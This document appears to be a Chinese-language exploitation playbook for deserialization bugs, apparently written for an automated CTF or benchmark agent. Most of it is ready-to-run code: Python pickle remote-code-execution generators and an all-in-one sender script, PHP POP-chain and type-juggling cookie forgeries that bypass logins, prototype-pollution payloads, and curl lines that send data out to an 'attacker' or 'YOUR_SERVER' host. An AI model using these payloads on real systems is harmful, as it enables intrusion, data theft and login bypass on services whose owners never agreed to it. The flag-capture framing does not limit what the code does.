Deserialization Methodology

反序列化漏洞方法论

深入参考

• Pickle payload 模板库（回显/盲/文件上传/发送方式）→ references/pickle-payload-templates.md
• RCE 成功但无回显？盲利用外带策略 → references/blind-exploitation.md
• PHP 反序列化详解（POP Chain/Type Juggling/phpggc） → references/php-deserialization.md

Phase 1: 检测反序列化入口

常见位置：Cookie 值、POST Body、Hidden 表单字段（viewstate）、API 参数、文件上传

格式标识（Magic Bytes）：

1. 提取所有 Cookie 和隐藏字段的值，尝试 Base64 解码 2. 检查 Content-Type 头：application/x-python-pickle、application/x-java-serialized-object 3. 观察错误信息中是否包含 pickle、unserialize、ObjectInputStream 等关键字 4. 上传 .pkl、.ser 等序列化文件格式，观察服务端行为 5. 修改序列化数据中的字段值，观察响应变化确认服务端确实反序列化了输入

Phase 2: Python Pickle RCE

⚠️ 关键约束：__reduce__ 只能返回 (模块级函数, 参数元组) — self.method 会失败

1. 构造基础 RCE payload：使用 __reduce__ 方法调用 os.system 或 subprocess.check_output 2. 回显 payload：subprocess.check_output(['cat', '/flag.txt']) — 直接在响应中看到结果 3. 无回显 payload：os.system('cp /flag.txt /app/static/f.txt') — 写文件到 Web 可访问路径 4. 外带 payload：os.system('curl http://attacker/?d=$(cat /flag|base64)') — HTTP 外传数据 5. 序列化并编码：base64.b64encode(pickle.dumps(payload)) 后替换原始数据发送 6. 注意 Python 版本差异：Python 2/3 的 pickle 协议版本不同，可能需要指定 protocol=2

常见触发点：Flask session、Redis session、Content-Type: application/x-python-pickle、.pkl 文件上传

决策树：回显 payload → 无回显则写文件到 Web 路径 → 仍失败则读盲利用参考 → 完整模板 → 读 references/pickle-payload-templates.md

Phase 3: PHP 反序列化

1. 识别序列化字符串格式：O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} 2. Type Juggling 速查：b:1（boolean true）松散比较 == 可绕过任意密码验证 3. 修改属性值：直接修改序列化字符串中的字段（注意长度前缀 s:N: 要匹配） 4. POP Chain 构造：找到可控属性的类（如 __destruct 中调用 file_put_contents），通过链式属性控制实现任意文件写入或命令执行 5. phpggc 工具：phpggc <framework>/<gadget> <type> <arg> 自动生成常见框架的利用链 6. 常见框架 gadget：Laravel（RCE）、Symfony（文件写入）、WordPress（对象注入） → 完整 POP Chain/Type Juggling/phpggc 用法 → 读 references/php-deserialization.md

Phase 4: Node.js Prototype Pollution

1. 识别原型链污染入口：Object.assign、_.merge、递归合并/深拷贝函数 2. 基础 payload：{"__proto__":{"isAdmin":true}} 或 {"constructor":{"prototype":{"isAdmin":true}}} 3. 通过 HTTP 请求（JSON Body）发送 payload，检查后续请求中权限是否变化 4. 污染全局属性：影响所有后续创建的对象（如 Object.prototype.isAdmin = true） 5. RCE 场景：污染 child_process 相关属性（如 shell、env），在 spawn/exec 时触发 6. 检测方法：发送 {"__proto__":{"polluted":"yes"}}，然后请求新端点看响应是否包含 polluted 字段

Phase 5: Flag 获取

1. 反序列化 RCE 成功后优先执行：cat /flag.txt、cat /FLAG.txt 2. 列目录搜索：ls / → find / -name "*flag*" 2>/dev/null 3. 环境变量：env | grep -i flag 4. 无回显时写到 Web 路径：cp /flag* /app/static/flag.txt 然后 HTTP 访问 5. DNS/HTTP 外带：curl http://attacker/$(cat /flag|base64) 6. 检查数据库：cat /app/config* 获取连接信息后查询 flag 表

盲反序列化利用（无回显 RCE 的数据外带）

核心问题

反序列化 RCE 执行成功，但命令输出不在 HTTP 响应中。 常见场景：os.system() 返回退出码而非输出、服务端静默执行、异步处理。

Python Pickle 盲利用策略

策略 1: 写文件到 Web 可访问路径（首选）

# 生成 payload
python3 -c "import pickle,base64,os;exec('class E:\n def __reduce__(self):\n  return(os.system,(\"cat /flag.txt > /app/static/out.txt\",))');print(base64.b64encode(pickle.dumps(E())).decode())"

发送 payload 后访问 http://target/static/out.txt

常见 Web 可写路径:

• /app/static/, /var/www/html/, /tmp/ (然后 LFI 读取)
• /app/templates/ (然后访问对应模板路由)

策略 2: subprocess.check_output 直接回显

python3 -c "import pickle,base64,subprocess;exec('class E:\n def __reduce__(self):\n  return(subprocess.check_output,([\"cat\",\"/flag.txt\"],))');print(base64.b64encode(pickle.dumps(E())).decode())"

如果服务端将反序列化结果直接返回，subprocess.check_output 的返回值（bytes）会出现在响应中。

策略 3: 利用响应差异做布尔盲注

# 条件性 sleep — flag 第 N 个字符的 ASCII 值决定 sleep 时间
import os
class E:
    def __reduce__(self):
        return (os.system, ("sleep $(head -c1 /flag.txt | od -An -td1 | tr -d ' ' | awk '{print int($1/25)}') ",))

策略 4: DNS/HTTP 外带

class E:
    def __reduce__(self):
        return (os.system, ("curl http://YOUR_SERVER/$(cat /flag.txt | base64)",))

⚠️ Benchmark 环境可能无出站网络，优先用策略 1/2。

PHP 反序列化盲利用

// POP Chain 目标方法改为写文件
file_put_contents('/var/www/html/pwned.txt', file_get_contents('/flag.txt'))

关键判断：os.system vs subprocess

盲利用决策树

RCE payload 已发送但 HTTP 响应无 flag
├─ 确认 RCE 成功？→ 用 sleep 5 测试响应延迟
├─ subprocess.check_output 试过？→ 返回 bytes 可能被序列化到响应
├─ 找到 Web 可写路径？→ 写文件 + HTTP 访问
├─ /tmp/ 可写？→ 写 /tmp/ + LFI/SSRF 读取
└─ 以上都失败？→ 布尔盲注（time-based）

PHP 反序列化详解

序列化格式

O:类名长度:"类名":属性数:{s:属性名长度:"属性名";类型:值;...}

示例：O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}

常见魔术方法利用链 (POP Chain)

• __wakeup() — unserialize() 后立即调用
• __destruct() — 对象销毁时调用
• __toString() — 对象被当作字符串时调用
• __call() — 调用不存在的方法时触发

POP Chain 构造思路： 1. 找到入口类（有 __wakeup/__destruct） 2. 找到文件操作类（有 file_get_contents/file_put_contents） 3. 通过属性赋值将入口类的方法调用链接到文件操作类 4. 读源码是关键：用 LFI 或信息泄露获取 PHP 源码，分析类定义

⚠️ PHP Type Juggling 绕过（登录绕过常用）

PHP 松散比较 == 存在类型混淆：

• true == "任意非空字符串" → true（PHP 5/7）
• 0 == "abc" → true（PHP < 8.0）
• "0e123" == "0e456" → true（科学计数法比较）

典型场景：Cookie 中存储序列化登录凭据，unserialize() 后用 == 比较密码

# 原始序列化（正常登录）：
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"12345";}

# Type Juggling 绕过：将 password 改为 boolean true
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

b:1 是 PHP 序列化的 true，true == "任何密码字符串" 在松散比较下为 true。

攻击步骤： 1. POST 登录观察 Set-Cookie（常见 cookie 名：creds, auth, session, user） 2. Base64 解码 cookie 值，识别 PHP 序列化格式 a:N:{...} 或 O:N:"..." 3. 将密码字段改为 b:1;（boolean true），重新 base64 编码 4. 用修改后的 cookie 访问目标

# 生成 payload
echo -n 'a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}' | base64
# 发送 payload
http_request url="http://target/" headers={"Cookie":"creds=<base64_payload>"}

phpggc 工具（自动化 POP Chain）

phpggc -l                    # 列出支持的框架
phpggc Laravel/RCE1 system 'cat /flag.txt' | base64  # 生成payload

常见框架支持：Laravel, Symfony, Yii, WordPress, Drupal, Magento

Pickle Payload 完整模板库

本文件包含各种场景下的 Python Pickle 反序列化 payload 生成脚本。

所有脚本保存为 .py 文件后直接执行，避免 shell 引号嵌套问题。

⚠️ 核心规则

`__reduce__` 必须返回 `(模块级可调用对象, 参数元组)`

✅ 正确:

return (os.system, ("cat /flag.txt",))           # os.system 是模块级函数
return (subprocess.check_output, (["ls"],))       # subprocess.check_output 是模块级函数
return (eval, ("__import__('os').system('id')",)) # eval 是内置函数

❌ 错误 — 会导致 Internal Server Error:

return (self.my_method, ())        # ❌ 实例方法不行！pickle 无法序列化 bound method
return (subprocess.call, ("ls",))  # ❌ call 的第一个参数是 list 或需要 shell=True
return (lambda: os.system("id"),)  # ❌ lambda 不可 pickle

---

模板 1: 回显 RCE（最优先）

目标将反序列化结果返回到 HTTP 响应时使用。subprocess.check_output 返回 bytes，可能被 repr/str 输出。

# pickle_echo.py — 保存后执行: python3 pickle_echo.py
import pickle, base64, subprocess
class E:
    def __reduce__(self):
        return (subprocess.check_output, (['cat', '/flag.txt'],))
payload = base64.b64encode(pickle.dumps(E())).decode()
print(payload)

变体 — 多路径尝试:

# pickle_echo2.py — 保存后执行: python3 pickle_echo2.py
import pickle, base64, subprocess
class E:
    def __reduce__(self):
        return (subprocess.check_output, (['/bin/sh', '-c', 'cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null || cat /FLAG.txt 2>/dev/null || ls /'],))
print(base64.b64encode(pickle.dumps(E())).decode())

模板 2: 写文件外带（无回显场景）

RCE 成功但响应中看不到输出时，将结果写入 Web 可访问路径。

# pickle_write.py — 保存后执行: python3 pickle_write.py
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('cp /flag.txt /app/static/f.txt 2>/dev/null; cp /flag /app/static/f.txt 2>/dev/null; cp /FLAG.txt /app/static/f.txt 2>/dev/null',))
print(base64.b64encode(pickle.dumps(E())).decode())

发送 payload 后访问:

• http://target/static/f.txt
• http://target/f.txt

常见 Web 可写路径: /app/static/, /var/www/html/, /app/templates/, /app/uploads/

模板 3: eval 万能 payload

当不确定目标环境时，eval + __import__ 组合最灵活:

# pickle_eval.py — 保存后执行: python3 pickle_eval.py
import pickle, base64
class E:
    def __reduce__(self):
        return (eval, ("__import__('subprocess').check_output(['/bin/sh','-c','cat /flag.txt'])",))
print(base64.b64encode(pickle.dumps(E())).decode())

模板 4: 生成 .pkl 二进制文件（文件上传场景）

目标有 pickle 文件上传接口时使用:

# gen_pkl.py — 保存后执行: python3 gen_pkl.py
import pickle, subprocess
class E:
    def __reduce__(self):
        return (subprocess.check_output, (['/bin/sh', '-c', 'cat /flag.txt'],))
with open('/tmp/exploit.pkl', 'wb') as f:
    f.write(pickle.dumps(E()))
print('saved /tmp/exploit.pkl, size:', len(pickle.dumps(E())))

然后用 curl 上传:

curl -s -X POST -F 'pickle_file=@/tmp/exploit.pkl' http://target/
curl -s -X POST -F 'file=@/tmp/exploit.pkl' http://target/upload

模板 5: 一体化脚本（生成 + 发送 + 读结果）

适合需要精确控制整个过程的场景:

# pickle_exploit.py — 保存后执行: python3 pickle_exploit.py http://target:8080/api/load
import pickle, base64, subprocess, urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target/'

# 生成 payload
class E:
    def __reduce__(self):
        return (subprocess.check_output, (['/bin/sh', '-c', 'cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null || ls /'],))

payload = pickle.dumps(E())

# 发送方式 1: raw POST body
req = urllib.request.Request(TARGET, data=payload, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
try:
    resp = urllib.request.urlopen(req, timeout=10)
    print('Response:', resp.read().decode(errors='replace'))
except Exception as e:
    print('Raw POST failed:', e)

# 发送方式 2: base64 POST
b64 = base64.b64encode(payload).decode()
req2 = urllib.request.Request(TARGET, data=b64.encode(), method='POST')
req2.add_header('Content-Type', 'text/plain')
try:
    resp2 = urllib.request.urlopen(req2, timeout=10)
    print('Base64 POST Response:', resp2.read().decode(errors='replace'))
except Exception as e:
    print('Base64 POST failed:', e)

使用: python3 pickle_exploit.py http://target:8080/api/load

模板 6: pickle 协议版本兼容

某些旧 Python 环境需要低版本协议:

# pickle_compat.py — 保存后执行: python3 pickle_compat.py
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt > /app/static/f.txt',))

# 协议 0（ASCII，最大兼容性）
print('Protocol 0:', base64.b64encode(pickle.dumps(E(), protocol=0)).decode())
# 协议 2（Python 2/3 兼容）
print('Protocol 2:', base64.b64encode(pickle.dumps(E(), protocol=2)).decode())
# 协议 4（默认，Python 3.4+）
print('Protocol 4:', base64.b64encode(pickle.dumps(E(), protocol=4)).decode())

模板 7: exec 多步操作

需要执行多条语句时（如先读文件再写文件）:

# pickle_exec.py — 保存后执行: python3 pickle_exec.py
import pickle, base64
class E:
    def __reduce__(self):
        code = '''
import os, subprocess
try:
    flag = open('/flag.txt').read()
    open('/app/static/out.txt','w').write(flag)
except:
    try:
        flag = subprocess.check_output(['find','/','-name','flag*','-maxdepth','3']).decode()
        open('/app/static/out.txt','w').write(flag)
    except:
        pass
'''
        return (exec, (code,))
print(base64.b64encode(pickle.dumps(E())).decode())

发送方式速查

验证 RCE 成功

如果不确定 RCE 是否执行:

# pickle_sleep.py — 用 sleep 测试，如果响应延迟 5 秒说明 RCE 成功
# 保存后执行: python3 pickle_sleep.py
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('sleep 5',))
print(base64.b64encode(pickle.dumps(E())).decode())